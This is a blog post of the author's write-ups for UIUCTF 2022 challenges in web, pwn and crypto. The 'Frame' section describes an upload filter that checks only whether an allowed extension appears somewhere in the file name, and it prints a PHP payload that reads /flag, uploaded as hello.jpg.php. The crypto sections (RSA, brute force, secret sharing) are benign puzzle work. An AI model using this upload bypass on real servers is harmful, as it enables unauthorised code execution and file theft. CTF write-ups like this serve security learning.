Last weekend I took some time on Friday to do UIUCTF 2022. I placed 102nd with 462 points. Here are the writeups to the challenges I solved. My full workspace including partial work on unsolved challenges is published at ~mzhang/uiuctf-2022.

Thanks to @sampai, @vekt0r, and @᲼᲼# from the MIT osu! server for helping out with some of the challenges :)

Web: Frame - 50 points

“ornate wooden empty picture frame, on a teal wall”

We made it easy to add a frame to your digital art!


This challenge prompted us to upload an image, and then it would display the image inside of a frame. Notably, this frame was done client-side, which means the original image was not post-processed in any way. If we look at the code that checks to make sure you uploaded a valid image:

$allowed_extensions = array(".jpg", ".jpeg", ".png", ".gif");
$filename = $_FILES["fileToUpload"]["name"];
$tmpname = $_FILES["fileToUpload"]["tmp_name"];
$target_file = "uploads/" . bin2hex(random_bytes(8)) . "-" .basename($filename);

$has_extension = false;
foreach ($allowed_extensions as $extension) {
  if (strpos(strtolower($filename), $extension) !== false) {
    $has_extension = true;

The flaw here is that the file extension is only checked for existence, not that it actually occurs at the end of the file. As a result, the web server will guess the kind of data in the file based on the final extension. We can simply upload a file named hello.jpg.php and it will pass this.

The Dockerfile in the handout helpfully tells us the location of the flag, so here is the file I uploaded:

cp real_image.jpg hello.jpg.php
echo '<?php echo file_get_contents("/flag"); ?>' >> hello.jpg.php

Uploading this file reveals the flag.

Web: AR Pwny - 50 points

“a green cybernetic horse grazing in the sun”

Welcome to the meataverse!


A glb file is a glTK texture. We can open this in a program such as Blender in order to understand it. Use File > Import > glb to open the file, then hide all of the objects except the two flag halves.

Hiding blender objects

This reveals two QR codes that can be combined into the flag.

Pwn: easy math 1 - 88 points

Take a break from exploiting binaries, and solve a few* simple math problems!

$ ssh password is ctf


This is really just a simple programming exercise. Looking at the source code, the annoying part is that it checks that your standard input is the same as the standard input of proc 1.

This isn’t too bad to get around, since we can just puppet the pseudoterminal of the SSH connection entirely using something like Paramiko:

ssh = paramiko.SSHClient()
ssh.connect("", 22, "ctf", "ctf")

ch = ssh.invoke_shell()

Looks like there was a more sneaky way of solving this challenge, which is what easy-math-2 went into, but I didn’t spend enough time looking at this in order to figure it out.

solve script

Crypto: Military Grade Encryption - 50 points

I came across a new website that claims to keep my flag safe with military-grade encryption. Clearly, this is going to keep my flag safe from anyone who may want it.

I’m not really sure what the clever way to solve this was, but all the numbers were small enough to be brute forced, so that’s what I did. Simply reverse the process used and look for a string beginning with uiuctf{.

solve script

Crypto: asr - 85 points

Oh no I dropped my d. Good thing I’m not telling you my n.

As this challenge implies, the problem comes from reversing the typical challenge of RSA. This time, rather than starting with a modulus and trying to discover the private exponent, we are given the private exponent, and trying to find the modulus.

As a reminder, once we find NN, we can simply evaluate cdmodNc^d \mod N to determine the final message.

First, we know that the relationship between ee and dd is that ed1modϕ(N)ed \equiv 1 \mod \phi(N). Translating this to plain algebra, this means ed1=kϕ(N)ed - 1 = k\phi(N) for some positive integer kk. This tells us that ed1ed - 1 must divide ϕ(N)\phi(N).

We used an external factoring service to factor ed1ed - 1. Using the gen_prime method given to us, we are able to validate that our factorization ended up being what was expected: exactly 16 64-bit primes, and a handful of smaller primes. The only thing left is organizing the 16 primes into two groups of 8.

Trusty old combinatorics tells us (168)=12870{16 \choose 8} = 12870, which is easily iterable within a matter of seconds. After picking 8 primes, we simply run through the same process as gen_prime in order to generate our pp and qq:

for perm in tqdm(perms):
  perm = set(list(perm))
  p = prod(perm)
  q = prod(bigprimes - perm)

  for i in range(7):
    if isPrime(p + 1): break
    p *= small_primes[i]
  for i in range(7):
    if isPrime(q + 1): break
    q *= small_primes[i]

  p = p + 1
  q = q + 1

All that’s left is to run cdmodNc^d \mod N and find strings that begin with uiuctf{ to determine which of these organizations of prime factors is the correct one.

solve script

Wringing Rings - 139 points

Everyone says we should use finite fields, but I loved sharing secrets this way so much that I put a ring on it!

$ nc 1337

This challenge employs a variation of Shamir’s Secret Sharing algorithm. The crux of the algorithm involves encoding a shared secret into the coefficients of a polynomial of degree kk. Note that given k+1k + 1 unique points on this polynomial, the entire polynomial can be recovered. If kk is 6, and we generate 12 unique points to split between 12 people, then any individual must find 6 others in order to recover the secret.

The problem with the implementation in question is that it does not operate over a finite field, as required by the original algorithm. This leaks information about the secret, specifically with respect to what numbers it divides, since we know that all coefficients must be integers.

This means that even with the absence of one of the required points, we can still reasonably recover the curve with the added information that all coefficients are less than 500,000500,000.

I simply threw all of the constraints we are given into the z3 solver, and within milliseconds the answer was given. After that it was just a matter of hooking it up to the challenge server and waiting for the flag.

solve script